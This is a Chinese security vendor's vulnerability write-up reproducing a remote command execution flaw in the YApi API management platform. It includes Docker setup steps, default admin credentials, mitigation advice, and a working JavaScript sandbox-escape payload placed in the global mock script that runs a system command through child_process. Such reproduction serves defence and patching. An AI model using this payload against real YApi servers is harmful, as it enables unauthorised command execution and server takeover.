提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      Yapi远程命令执行0day漏洞复现
      发布时间:2021-07-23 阅读次数: 215 次

      YApi 是高效、易用、功能强大的 api 管理平台,是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。


      1

      漏洞概述


      YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。


      目前该漏洞利用细节已在互联网公开,且Github中存在大量用户反馈被该漏洞攻击的情况,建议受影响用户及时排查并修复。


      2

      环境搭建


      使用docker 来搭建漏洞环境:


      1.获取 Yapi 镜像


      sudodocker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi


      2.创建挂载目录


      sudomkdir -p /data/yapi/mongodata


      3.运行专用mongo


      sudodocker run --restart always -v /data/yapi/mongodata:/data/db -d --nameyapimongo mongo


      4.初始化 Yapi 数据库索引及管理员账号


      sudodocker run -it --rm --link yapimongo:mongo --entrypoint npm --workdir/api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server


      5.启动 Yapi 服务


      sudodocker run -d  --restart=always --name yapi  --link yapimongo:mongo--workdir /api/vendors  -p 3000:3000 registry.cn-hangzhou.aliyuncs.com/anoy/yapi  server/app.js


      6.安装启动成功之后访问http://localhost:3000


      3

      漏洞复现

      1.利用已知的账号登录Yap


      登录账号:admin@admin.com  密码:ymfe.org


      2.添加项目


      3.选择设置,设置全局mock脚本


      const sandbox = this


      const ObjectConstructor =this.constructor


      const FunctionConstructor =ObjectConstructor.constructor


      const myfun = FunctionConstructor('returnprocess')


      const process = myfun()


      mockJson =process.mainModule.require("child_process").execSync("whoami").toString()


      4.此时需要添加一个接口


      5.访问 Mock 地址 http://192.168.153.131:3000/mock/11/testing  就可以看到命令执行成功。


      4

      修复建议


      1.如果没有使用注册的需求,建议关闭 Yapi 的注册功能。通过修改 Yapi 项目目录下的 config.json 文件,将 closeRegister 字段修改为true 并重启服务即可。


      2.如果没有 Mock 功能的需求,建议关闭 Yapi 的 Mock 功能。


      在"config.json"中添加"mock:false";


      "exts/yapi-plugin-andvanced-mock/server.js"中找到


      if(caseData&&caseData.case_enable{...}


      在其上方添加


      if(!yapi.WEBCONFIG.mock){return false;}



      3.检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部